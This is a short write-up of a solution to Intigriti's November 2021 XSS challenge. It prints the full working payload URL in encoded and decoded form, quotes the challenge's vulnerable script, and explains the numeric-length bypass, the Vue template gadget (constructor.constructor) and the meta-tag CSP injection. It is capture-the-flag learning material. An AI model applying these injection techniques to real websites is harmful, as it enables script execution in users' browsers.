Intigriti’s November 2021 XSS challenge writeup
Full Payload:
https://challenge-1121.intigriti.io/challenge/index.php?version=9e99&vueDevtools=./vuejs.php&s=%3C%2Ftitle%3E%3Cmeta%20http-equiv=%22Content-Security-Policy%22%20content=%22script-src%20%27unsafe-eval%27%20challenge-1121.intigriti.io%20unpkg.com%20%27sha256-Tz%2FiYFTnNe0de6izIdG%2Bo6Xitl18uZfQWapSbxHE6Ic%3D%27%20%27sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=%27%22%3E%3Cdiv%20id=app%3E%7B%7B%20constructor.constructor(%22alert(document.domain)%22)()%20%7D%7D%3Cscript%3E%2F*
Url decoded:
https://challenge-1121.intigriti.io/challenge/index.php?version=9e99&vueDevtools=./vuejs.php&s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'unsafe-eval' challenge-1121.intigriti.io unpkg.com 'sha256-TziYFTnNe0de6izIdG+o6Xitl18uZfQWapSbxHE6Ic=' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz+oz+CtD7RE4='"><div id=app>{{ constructor.constructor("alert(document.domain)")() }}<script>/*
<script nonce="nonce">
if (!window.isProd){
let version = new URL(location).searchParams.get('version') || '';
version = version.slice(0,12);
let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');
if (version === 999999999999){
setTimeout(window.legacyLogger, 1000);
} else if (version > 1000000000000){ // [1]
addJS(vueDevtools, window.initVUE); // [2]
} else{
console.log(performance)
}
}
</script>
version=9e99
is used to get into [1]
because 9e99
resolves to a higher number than 1000000000000
(thus bypassing the length limit by version.slice(0,12)
).
vueDevtools=./vuejs.php
is set to re-render the page ([2]
) and execute constructor.constructor("alert(document.domain)")()
(constructor.constructor
used in order to get into the browser context to be able to use eval
).
Lastly, s
parameter escapes the title, comments out a script setting isProd
to true
and creates another CSP making the document to join the existing one with this. By specifying hashes we can control the scripts to load (like an allowlist) thus being able to disable the first render by a non-allowlisted script.
Solution found in collaboration with @carlospolopm.